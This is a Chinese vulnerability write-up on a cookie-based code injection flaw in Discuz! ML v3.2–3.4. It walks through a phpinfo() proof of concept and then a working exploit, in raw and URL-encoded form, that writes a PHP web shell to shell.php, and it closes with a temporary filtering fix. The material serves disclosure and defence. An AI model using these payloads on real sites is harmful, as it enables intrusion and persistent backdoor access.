[漏洞案例]Discuz ML! V3.X 代码注入漏洞
0x00 前言
Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区。
该引擎基于Comsenz Inc.创建的着名的Discuz!X引擎开发。
0x01 漏洞描述
1.1 简单描述
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
简而言之,如下图流程可以简单的理解该漏洞
首先,通过cookie传入payload,构造好的payload被写入template文件中:
接着,这个被插入payload的template.php文件被include,造成代码执行:
1.2 受影响的系统版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.2
0x02 漏洞分析
详情请见:http://blog.topsec.com.cn/discuz-ml-v3-x-代码注入漏洞深度分析/
0x03 漏洞演示
3.1 环境搭建
官网下载:http://discuz.ml/download
解压后将upload所有内容放到网站目录,访问一步步安装即可。
3.2 漏洞定位
在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng
(即language语言)可控,导致template
函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once
包含一下最终导致了代码注入。所以有包含template
函数的网页中,都存在此类的代码注入点。
3.3 漏洞测试演示
注:在此我将用论坛的主页面(index.php),作为漏洞的演示:
首先看首页里的cookis值中就包含我们想要的language参数:
动手构造我们的POC(测试代码):在26D7_2132_language=sc
后面添加以下内容:
'.phpinfo().'
成功返回phpinfo()响应,证明此系统存在代码注入漏洞!
3.4 漏洞执行演示
EXP(原):
'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'
(因为改动的COOKIE中包含分号,其中有可能会出现语法错误,所以这里采用URL编码格式,最后再解过来就没问题了)
EXP(改):
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27
(2)修改cookie中的xxx_language值为exp内容:这里加上exp后,主页返回正常
(3)在主页中进行代码注入,则上传的shell.php在网站根目录下:
(4)看看效果:满分
漏洞修复
VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:
$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);
参考链接
1.http://blog.topsec.com.cn/discuz-ml-v3-x-代码注入漏洞深度分析/
2.https://mp.weixin.qq.com/s/5Zl3Jve4eblNIXh30t469w
3.https://mp.weixin.qq.com/s?__biz=Mzg4NzI0MDMwMQ==&mid=2247483730&idx=1&sn=79706db47b39bd4e36d9cbe2c7bde301&chksm=cf8c2250f8fbab463558ece653ed8c413c0eb8f3dfdac13de9f4e9bad40c20ef87b0c2f90e7b&mpshare=1&scene=23&srcid=#rd